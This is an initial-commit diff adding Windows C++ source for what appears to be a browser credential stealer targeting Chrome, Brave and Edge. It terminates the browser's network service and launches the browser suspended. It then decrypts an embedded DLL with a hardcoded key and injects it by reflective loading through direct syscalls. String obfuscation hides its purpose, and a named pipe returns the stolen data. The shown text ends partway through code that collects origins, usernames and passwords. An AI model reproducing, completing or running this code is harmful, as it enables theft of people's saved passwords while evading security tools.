initial commit
This commit is contained in:
Executable
+980
@@ -0,0 +1,980 @@
|
||||
#include "Fokos.h"
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Rpc.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include "Encrypt.h"
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <filesystem>
|
||||
#include <optional>
|
||||
#include <map>
|
||||
#include <memory>
|
||||
#include <stdexcept>
|
||||
#include "nlohmann/json.hpp"
|
||||
#include <fstream> // for std::ifstream
|
||||
#include <vector> // for std::vector
|
||||
#include <cstdint>
|
||||
#include <algorithm>
|
||||
#include "BRSHt/syscalls.h"
|
||||
|
||||
|
||||
#pragma comment(lib, "Rpcrt4.lib")
|
||||
#pragma comment(lib, "shell32.lib")
|
||||
#pragma comment(lib, "version.lib")
|
||||
#pragma comment(lib, "user32.lib")
|
||||
|
||||
using json = nlohmann::json;
|
||||
|
||||
|
||||
#ifndef IMAGE_FILE_MACHINE_AMD64
|
||||
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||||
#endif
|
||||
#ifndef IMAGE_FILE_MACHINE_ARM64
|
||||
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
|
||||
#endif
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
namespace
|
||||
{
|
||||
constexpr DWORD DLL_COMPLETION_TIMEOUT_MS = 60000;
|
||||
|
||||
const uint8_t g_decryptionKey[32] = {
|
||||
0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D,
|
||||
0x58, 0x4A, 0x7D, 0x67, 0x8C, 0x79, 0x77, 0x46,
|
||||
0xBE, 0x6B, 0x4E, 0x0C, 0x54, 0x57, 0xCD, 0x95,
|
||||
0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94 };
|
||||
|
||||
const uint8_t g_decryptionNonce[12] = {
|
||||
0x4A, 0x51, 0x78, 0x62, 0x8D, 0x2D, 0x4A, 0x54,
|
||||
0x88, 0xE5, 0x3C, 0x50 };
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
struct HandleDeleter
|
||||
{
|
||||
void operator()(HANDLE h) const
|
||||
{
|
||||
if (h && h != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(h);
|
||||
}
|
||||
};
|
||||
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
|
||||
|
||||
namespace Utils
|
||||
{
|
||||
std::string WStringToUtf8(std::wstring_view w_sv)
|
||||
{
|
||||
if (w_sv.empty())
|
||||
return {};
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()), nullptr, 0, nullptr, nullptr);
|
||||
std::string utf8_str(size_needed, '\0');
|
||||
WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()), &utf8_str[0], size_needed, nullptr, nullptr);
|
||||
return utf8_str;
|
||||
}
|
||||
|
||||
std::string PtrToHexStr(const void* ptr)
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << EC("0x") << std::hex << reinterpret_cast<uintptr_t>(ptr);
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
std::string NtStatusToString(NTSTATUS status)
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << EC("0x") << std::hex << status;
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
std::wstring GenerateUniquePipeName()
|
||||
{
|
||||
UUID uuid;
|
||||
UuidCreate(&uuid);
|
||||
wchar_t* uuidStrRaw = nullptr;
|
||||
UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
|
||||
std::wstring pipeName = EC(L"\\\\.\\pipe\\") + std::wstring(uuidStrRaw);
|
||||
RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
|
||||
return pipeName;
|
||||
}
|
||||
}
|
||||
}
|
||||
std::string Nemmmmy;
|
||||
|
||||
void DecryptString(std::string& data, BYTE key)
|
||||
{
|
||||
for (size_t i = 0; i < data.size(); i++)
|
||||
data[i] ^= key;
|
||||
}
|
||||
// Load and decrypt data from file
|
||||
bool LoadDecryptedFromFile(std::string& outData, const std::string& filePath, BYTE key)
|
||||
{
|
||||
std::ifstream in(filePath, std::ios::binary);
|
||||
if (!in)
|
||||
return false;
|
||||
|
||||
std::string encrypted((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
|
||||
DecryptString(encrypted, key);
|
||||
outData = std::move(encrypted);
|
||||
return true;
|
||||
}
|
||||
|
||||
class Console
|
||||
{
|
||||
public:
|
||||
explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
|
||||
{
|
||||
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
|
||||
GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
|
||||
m_originalAttributes = consoleInfo.wAttributes;
|
||||
}
|
||||
|
||||
void displayBanner() const
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void printUsage() const
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void Info(const std::string& msg) const { print(EC("[*]"), msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||
void Success(const std::string& msg) const { print(EC("[+]"), msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||
void Error(const std::string& msg) const { print(EC("[-]"), msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
|
||||
void Warn(const std::string& msg) const { print(EC("[!]"), msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||
void Debug(const std::string& msg) const
|
||||
{
|
||||
print(EC("[#]"), msg, FOREGROUND_RED | FOREGROUND_GREEN);
|
||||
}
|
||||
|
||||
void Relay(const std::string& message) const
|
||||
{
|
||||
size_t tagStart = message.find('[');
|
||||
size_t tagEnd = message.find(']', tagStart);
|
||||
if (tagStart != std::string::npos && tagEnd != std::string::npos)
|
||||
{
|
||||
std::cout << message.substr(0, tagStart);
|
||||
std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);
|
||||
WORD color = m_originalAttributes;
|
||||
if (tag == EC("[+]"))
|
||||
color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
else if (tag == EC("[-]"))
|
||||
color = FOREGROUND_RED | FOREGROUND_INTENSITY;
|
||||
else if (tag == EC("[*]"))
|
||||
color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
else if (tag == EC("[!]"))
|
||||
color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
SetColor(color);
|
||||
std::cout << tag;
|
||||
ResetColor();
|
||||
std::cout << message.substr(tagEnd + 1) << std::endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::cout << message << std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
void print(const std::string& tag, const std::string& msg, WORD color) const
|
||||
{
|
||||
SetColor(color);
|
||||
std::cout << tag;
|
||||
ResetColor();
|
||||
std::cout << " " << msg << std::endl;
|
||||
}
|
||||
void SetColor(WORD attributes) const { SetConsoleTextAttribute(m_hConsole, attributes); }
|
||||
void ResetColor() const { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }
|
||||
|
||||
bool m_verbose;
|
||||
HANDLE m_hConsole;
|
||||
WORD m_originalAttributes;
|
||||
};
|
||||
|
||||
struct Configuration
|
||||
{
|
||||
bool verbose = false;
|
||||
fs::path outputPath;
|
||||
std::wstring browserType;
|
||||
std::wstring browserProcessName;
|
||||
std::wstring browserDefaultExePath;
|
||||
std::string browserDisplayName;
|
||||
|
||||
// Original function
|
||||
[[nodiscard]] static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
|
||||
{
|
||||
Configuration config;
|
||||
fs::path customOutputPath;
|
||||
|
||||
for (int i = 1; i < argc; ++i)
|
||||
{
|
||||
std::wstring_view arg = argv[i];
|
||||
if (arg == EC(L"--verbose") || arg == EC(L"-v"))
|
||||
config.verbose = true;
|
||||
else if ((arg == EC(L"--output-path") || arg == EC(L"-o")) && i + 1 < argc)
|
||||
customOutputPath = argv[++i];
|
||||
else if (arg == EC(L"--help") || arg == EC(L"-h"))
|
||||
{
|
||||
console.printUsage();
|
||||
return std::nullopt;
|
||||
}
|
||||
else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
|
||||
config.browserType = arg;
|
||||
else
|
||||
{
|
||||
console.Warn(EC("Unknown or misplaced argument: ") + Utils::WStringToUtf8(arg));
|
||||
return std::nullopt;
|
||||
}
|
||||
}
|
||||
|
||||
if (config.browserType.empty())
|
||||
{
|
||||
console.printUsage();
|
||||
return std::nullopt;
|
||||
}
|
||||
std::transform(config.browserType.begin(), config.browserType.end(), config.browserType.begin(), ::towlower);
|
||||
|
||||
static const std::map<std::wstring, std::pair<std::wstring, std::wstring>> browserMap = {
|
||||
{EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}},
|
||||
{EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}},
|
||||
{EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} };
|
||||
|
||||
auto it = browserMap.find(config.browserType);
|
||||
if (it == browserMap.end())
|
||||
{
|
||||
console.Error(EC("Unsupported browser type: ") + Utils::WStringToUtf8(config.browserType));
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
config.browserProcessName = it->second.first;
|
||||
config.browserDefaultExePath = it->second.second;
|
||||
|
||||
std::string displayName = Utils::WStringToUtf8(config.browserType);
|
||||
if (!displayName.empty())
|
||||
displayName[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(displayName[0])));
|
||||
config.browserDisplayName = displayName;
|
||||
|
||||
config.outputPath = customOutputPath.empty() ? fs::current_path() / EC("output") : fs::absolute(customOutputPath);
|
||||
|
||||
return config;
|
||||
}
|
||||
|
||||
// New overload for simple browser string
|
||||
[[nodiscard]] static std::optional<Configuration> CreateFromArgs(const std::wstring& browser)
|
||||
{
|
||||
Configuration config;
|
||||
std::wstring browserType = browser;
|
||||
std::transform(browserType.begin(), browserType.end(), browserType.begin(), ::towlower);
|
||||
|
||||
static const std::map<std::wstring, std::pair<std::wstring, std::wstring>> browserMap = {
|
||||
{EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}},
|
||||
{EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}},
|
||||
{EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} };
|
||||
|
||||
auto it = browserMap.find(browserType);
|
||||
if (it == browserMap.end())
|
||||
{
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
config.browserType = browserType;
|
||||
config.browserProcessName = it->second.first;
|
||||
config.browserDefaultExePath = it->second.second;
|
||||
|
||||
std::string displayName = Utils::WStringToUtf8(config.browserType);
|
||||
if (!displayName.empty())
|
||||
displayName[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(displayName[0])));
|
||||
config.browserDisplayName = displayName;
|
||||
|
||||
config.outputPath = fs::current_path() / EC("output"); // default output path
|
||||
return config;
|
||||
}
|
||||
};
|
||||
|
||||
class TargetProcess
|
||||
{
|
||||
public:
|
||||
TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {}
|
||||
|
||||
void createSuspended()
|
||||
{
|
||||
m_console.Info(EC("Creating suspended ") + m_config.browserDisplayName + EC(" process."));
|
||||
m_console.Debug(EC("Target executable path: ") + Utils::WStringToUtf8(m_config.browserDefaultExePath));
|
||||
|
||||
STARTUPINFOW si{};
|
||||
PROCESS_INFORMATION pi{};
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (!CreateProcessW(
|
||||
m_config.browserDefaultExePath.c_str(), nullptr,
|
||||
nullptr, nullptr, FALSE, CREATE_SUSPENDED,
|
||||
nullptr, nullptr, &si, &pi))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
m_hProcess.reset(pi.hProcess);
|
||||
m_hThread.reset(pi.hThread);
|
||||
m_pid = pi.dwProcessId;
|
||||
|
||||
m_console.Success(EC("Created suspended process PID: ") + std::to_string(m_pid));
|
||||
checkArchitecture();
|
||||
}
|
||||
|
||||
void terminate()
|
||||
{
|
||||
if (m_hProcess)
|
||||
{
|
||||
m_console.Debug(EC("Terminating browser PID=") + std::to_string(m_pid) + EC(" via direct syscall."));
|
||||
NtTerminateProcess_syscall(m_hProcess.get(), 0);
|
||||
m_console.Info(m_config.browserDisplayName + EC(" terminated by injector."));
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE getProcessHandle() const { return m_hProcess.get(); }
|
||||
USHORT getArch() const { return m_arch; }
|
||||
|
||||
private:
|
||||
void checkArchitecture()
|
||||
{
|
||||
m_arch = IMAGE_FILE_MACHINE_AMD64;
|
||||
|
||||
m_console.Debug(EC("Architecture match: Injector=, Target=") + std::string(getArchName(m_arch)));
|
||||
}
|
||||
|
||||
const char* getArchName(USHORT arch) const
|
||||
{
|
||||
switch (arch)
|
||||
{
|
||||
case IMAGE_FILE_MACHINE_AMD64:
|
||||
return EC("x64");
|
||||
case IMAGE_FILE_MACHINE_ARM64:
|
||||
return EC("ARM64");
|
||||
case IMAGE_FILE_MACHINE_I386:
|
||||
return EC("x86");
|
||||
default:
|
||||
return EC("Unknown");
|
||||
}
|
||||
}
|
||||
|
||||
const Configuration& m_config;
|
||||
const Console& m_console;
|
||||
DWORD m_pid = 0;
|
||||
UniqueHandle m_hProcess;
|
||||
UniqueHandle m_hThread;
|
||||
USHORT m_arch = 0;
|
||||
};
|
||||
|
||||
std::string GetTempPathStr()
|
||||
{
|
||||
char buf[MAX_PATH];
|
||||
DWORD len = GetTempPathA(MAX_PATH, buf);
|
||||
return std::string(buf, len);
|
||||
}
|
||||
|
||||
class PipeCommunicator
|
||||
{
|
||||
public:
|
||||
PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {}
|
||||
|
||||
void create()
|
||||
{
|
||||
m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1, 4096, 4096, 0, nullptr));
|
||||
if (!m_pipeHandle)
|
||||
{
|
||||
|
||||
}
|
||||
m_console.Debug(EC("Named pipe server created: ") + Utils::WStringToUtf8(m_pipeName));
|
||||
}
|
||||
|
||||
void waitForClient()
|
||||
{
|
||||
m_console.Debug(EC("Waiting for payload to connect to named pipe."));
|
||||
|
||||
BOOL connected = ConnectNamedPipe(m_pipeHandle.get(), nullptr);
|
||||
if (!connected)
|
||||
{
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_PIPE_CONNECTED)
|
||||
{
|
||||
// The client connected before ConnectNamedPipe was called
|
||||
m_console.Debug(EC("Payload already connected to named pipe (ERROR_PIPE_CONNECTED)."));
|
||||
}
|
||||
else
|
||||
{
|
||||
// Something went wrong
|
||||
std::ostringstream oss;
|
||||
oss << "Failed to connect to named pipe. Error code: " << err;
|
||||
m_console.Debug(oss.str().c_str());
|
||||
return; // optionally bail out
|
||||
}
|
||||
}
|
||||
|
||||
m_console.Debug(EC("Payload connected to named pipe."));
|
||||
}
|
||||
|
||||
void sendInitialData(bool isVerbose, const fs::path& outputPath)
|
||||
{
|
||||
writeMessage(isVerbose ? EC("VERBOSE_TRUE") : EC("VERBOSE_FALSE"));
|
||||
writeMessage(outputPath.string());
|
||||
}
|
||||
|
||||
void relayMessages()
|
||||
{
|
||||
m_console.Info(EC("Waiting for payload execution. (Pipe: ") + Utils::WStringToUtf8(m_pipeName) + EC(")"));
|
||||
std::cout << std::endl;
|
||||
|
||||
const std::string dllCompletionSignal = EC("__DLL_PIPE_COMPLETION_SIGNAL__");
|
||||
DWORD startTime = GetTickCount();
|
||||
std::string accumulatedData;
|
||||
char buffer[4096];
|
||||
bool completed = false;
|
||||
|
||||
while (!completed && (GetTickCount() - startTime < DLL_COMPLETION_TIMEOUT_MS))
|
||||
{
|
||||
DWORD bytesAvailable = 0;
|
||||
if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
|
||||
{
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||
break;
|
||||
m_console.Error(EC("PeekNamedPipe failed. Error: ") + std::to_string(GetLastError()));
|
||||
break;
|
||||
}
|
||||
if (bytesAvailable == 0)
|
||||
{
|
||||
Sleep(100);
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||
{
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
|
||||
accumulatedData.append(buffer, bytesRead);
|
||||
|
||||
size_t messageStart = 0;
|
||||
size_t nullPos;
|
||||
while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
|
||||
{
|
||||
std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
|
||||
messageStart = nullPos + 1;
|
||||
|
||||
if (message == dllCompletionSignal)
|
||||
{
|
||||
m_console.Debug(EC("Payload completion signal received."));
|
||||
completed = true;
|
||||
break;
|
||||
}
|
||||
if (!message.empty())
|
||||
{
|
||||
if (Nemmmmy.empty())
|
||||
{
|
||||
if (message.find(EC("NUMMORO")) != std::string::npos)
|
||||
{
|
||||
Nemmmmy = message.substr(message.size() - 4);
|
||||
}
|
||||
else
|
||||
{
|
||||
m_console.Relay(message);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_console.Relay(message);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if (completed)
|
||||
break;
|
||||
accumulatedData.erase(0, messageStart);
|
||||
}
|
||||
std::cout << std::endl;
|
||||
m_console.Success(EC("Payload signaled completion or pipe interaction ended."));
|
||||
}
|
||||
|
||||
const std::wstring& getName() const { return m_pipeName; }
|
||||
|
||||
private:
|
||||
void writeMessage(const std::string& msg)
|
||||
{
|
||||
DWORD bytesWritten = 0;
|
||||
if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
|
||||
bytesWritten != (msg.length() + 1))
|
||||
{
|
||||
}
|
||||
m_console.Debug(EC("Sent message to pipe: ") + msg);
|
||||
}
|
||||
|
||||
std::wstring m_pipeName;
|
||||
const Console& m_console;
|
||||
UniqueHandle m_pipeHandle;
|
||||
};
|
||||
|
||||
class InjectionManager
|
||||
{
|
||||
public:
|
||||
InjectionManager(TargetProcess& target, const Console& console)
|
||||
: m_target(target), m_console(console) {
|
||||
}
|
||||
|
||||
void execute(const std::wstring& pipeName, std::vector<BYTE> exxx)
|
||||
{
|
||||
m_decryptedDllPayload = std::move(exxx);
|
||||
|
||||
|
||||
m_console.Debug(EC("Parsing payload PE headers for ReflectiveLoader."));
|
||||
DWORD rdiOffset = getReflectiveLoaderOffset();
|
||||
|
||||
m_console.Debug(EC("ReflectiveLoader found at file offset: ") + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));
|
||||
|
||||
m_console.Debug(EC("Allocating memory for payload in target process."));
|
||||
PVOID remoteDllBase = nullptr;
|
||||
SIZE_T payloadDllSize = m_decryptedDllPayload.size();
|
||||
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
|
||||
SIZE_T totalAllocationSize = payloadDllSize + pipeNameByteSize;
|
||||
|
||||
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, 0, &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
m_console.Debug(EC("Combined memory for payload and parameters allocated at: ") + Utils::PtrToHexStr(remoteDllBase));
|
||||
|
||||
m_console.Debug(EC("Writing payload DLL to target process."));
|
||||
SIZE_T bytesWritten = 0;
|
||||
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteDllBase, m_decryptedDllPayload.data(), payloadDllSize, &bytesWritten);
|
||||
|
||||
m_console.Debug(EC("Writing pipe name parameter into the same allocation."));
|
||||
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteDllBase) + payloadDllSize;
|
||||
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
|
||||
|
||||
m_console.Debug(EC("Changing payload memory protection to executable."));
|
||||
ULONG oldProtect = 0;
|
||||
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
|
||||
startHijackedThreadInTarget(remoteDllBase, rdiOffset, remotePipeNameAddr);
|
||||
|
||||
m_console.Success(EC("New thread created for payload. Main thread remains suspended."));
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
DWORD getReflectiveLoaderOffset()
|
||||
{
|
||||
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_decryptedDllPayload.data());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return 0;
|
||||
|
||||
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_decryptedDllPayload.data() + dosHeader->e_lfanew);
|
||||
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||
return 0;
|
||||
|
||||
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (exportDirRva == 0)
|
||||
return 0;
|
||||
|
||||
auto RvaToOffset = [&](DWORD rva) -> PVOID
|
||||
{
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
|
||||
{
|
||||
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
|
||||
{
|
||||
return (PVOID)((uintptr_t)m_decryptedDllPayload.data() + section->PointerToRawData + (rva - section->VirtualAddress));
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
};
|
||||
|
||||
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
|
||||
if (!exportDir)
|
||||
return 0;
|
||||
|
||||
auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
|
||||
auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
|
||||
auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
|
||||
if (!names || !ordinals || !funcs)
|
||||
return 0;
|
||||
|
||||
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
|
||||
{
|
||||
char* funcName = (char*)RvaToOffset(names[i]);
|
||||
if (funcName && strcmp(funcName, EC("ReflectiveLoader")) == 0)
|
||||
{
|
||||
PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
|
||||
if (!funcOffsetPtr)
|
||||
return 0;
|
||||
return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_decryptedDllPayload.data());
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void startHijackedThreadInTarget(PVOID remoteDllBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
|
||||
{
|
||||
m_console.Debug(EC("Creating new thread in target to execute ReflectiveLoader."));
|
||||
|
||||
uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteDllBase) + rdiOffset;
|
||||
HANDLE hRemoteThread = nullptr;
|
||||
|
||||
NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
|
||||
(LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);
|
||||
|
||||
UniqueHandle remoteThreadGuard(hRemoteThread);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
}
|
||||
|
||||
m_console.Debug(EC("Successfully created new thread for payload."));
|
||||
}
|
||||
|
||||
TargetProcess& m_target;
|
||||
const Console& m_console;
|
||||
|
||||
std::vector<BYTE> m_decryptedDllPayload;
|
||||
|
||||
|
||||
};
|
||||
|
||||
void KillBrowserNetworkService(const Configuration& config, const Console& console)
|
||||
{
|
||||
console.Info(EC("Scanning for and terminating browser network services..."));
|
||||
|
||||
UniqueHandle hCurrentProc;
|
||||
HANDLE nextProcHandle = nullptr;
|
||||
int processes_terminated = 0;
|
||||
|
||||
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &nextProcHandle)))
|
||||
{
|
||||
UniqueHandle hNextProc(nextProcHandle);
|
||||
hCurrentProc = std::move(hNextProc);
|
||||
|
||||
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
|
||||
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
|
||||
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, imageName, (ULONG)buffer.size(), NULL)) || imageName->Length == 0)
|
||||
continue;
|
||||
|
||||
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
|
||||
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
|
||||
continue;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, &pbi, sizeof(pbi), nullptr)) || !pbi.PebBaseAddress)
|
||||
continue;
|
||||
|
||||
PEB peb{};
|
||||
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
|
||||
continue;
|
||||
RTL_USER_PROCESS_PARAMETERS params{};
|
||||
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr)))
|
||||
continue;
|
||||
|
||||
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
|
||||
if (params.CommandLine.Length > 0 && !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, cmdLine.data(), params.CommandLine.Length, nullptr)))
|
||||
continue;
|
||||
|
||||
if (wcsstr(cmdLine.data(), EC(L"--utility-sub-type=network.mojom.NetworkService")))
|
||||
{
|
||||
console.Success(EC("Found and terminated network service PID: ") + std::to_string((DWORD)pbi.UniqueProcessId));
|
||||
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
|
||||
processes_terminated++;
|
||||
}
|
||||
}
|
||||
|
||||
if (processes_terminated > 0)
|
||||
{
|
||||
console.Info(EC("Termination sweep complete. Waiting for file locks to fully release."));
|
||||
Sleep(1500);
|
||||
}
|
||||
}
|
||||
|
||||
void RunInjectionWorkflow(const Configuration& config, const Console& console, std::vector<BYTE> borr)
|
||||
{
|
||||
KillBrowserNetworkService(config, console);
|
||||
|
||||
TargetProcess target(config, console);
|
||||
target.createSuspended();
|
||||
|
||||
PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
|
||||
pipe.create();
|
||||
|
||||
InjectionManager injector(target, console);
|
||||
injector.execute(pipe.getName(), borr);
|
||||
|
||||
pipe.waitForClient();
|
||||
pipe.sendInitialData(config.verbose, config.outputPath);
|
||||
pipe.relayMessages();
|
||||
|
||||
target.terminate();
|
||||
}
|
||||
|
||||
|
||||
std::string toString(const json& j) {
|
||||
if (j.is_string()) return j.get<std::string>();
|
||||
if (j.is_number()) return std::to_string(j.get<double>());
|
||||
if (j.is_boolean()) return j.get<bool>() ? EC("true") : EC("false");
|
||||
if (j.is_null()) return EC("");
|
||||
return ""; // fallback, or handle arrays/objects separately
|
||||
}
|
||||
|
||||
|
||||
void PassProcess(const std::string& path, std::vector<std::vector<std::string>>& Passeyy, std::string Nummy) {
|
||||
if (fs::exists(path)) {
|
||||
std::string decrypted;
|
||||
if (LoadDecryptedFromFile(decrypted, path, 0xAA)) {
|
||||
try {
|
||||
json j = json::parse(decrypted);
|
||||
|
||||
std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n");
|
||||
|
||||
for (auto& item : j) {
|
||||
if (item.contains(EC("origin")) && item.contains(EC("username")) && item.contains(EC("password"))) {
|
||||
try {
|
||||
|
||||
// Credentials format
|
||||
/*std::cout << EC("Origin: ") << item[EC("origin")] << EC("\n");
|
||||
std::cout << EC("Username: ") << item[EC("username")] << EC("\n");
|
||||
std::cout << EC("Password: ") << item[EC("password")] << EC("\n");
|
||||
std::cout << EC("---------------------\n");*/
|
||||
|
||||
Passeyy.push_back({ toString(item[EC("origin")]), toString(item[EC("username")]), toString(item[EC("password")]), Nummy });
|
||||
}
|
||||
catch (std::exception& e) {
|
||||
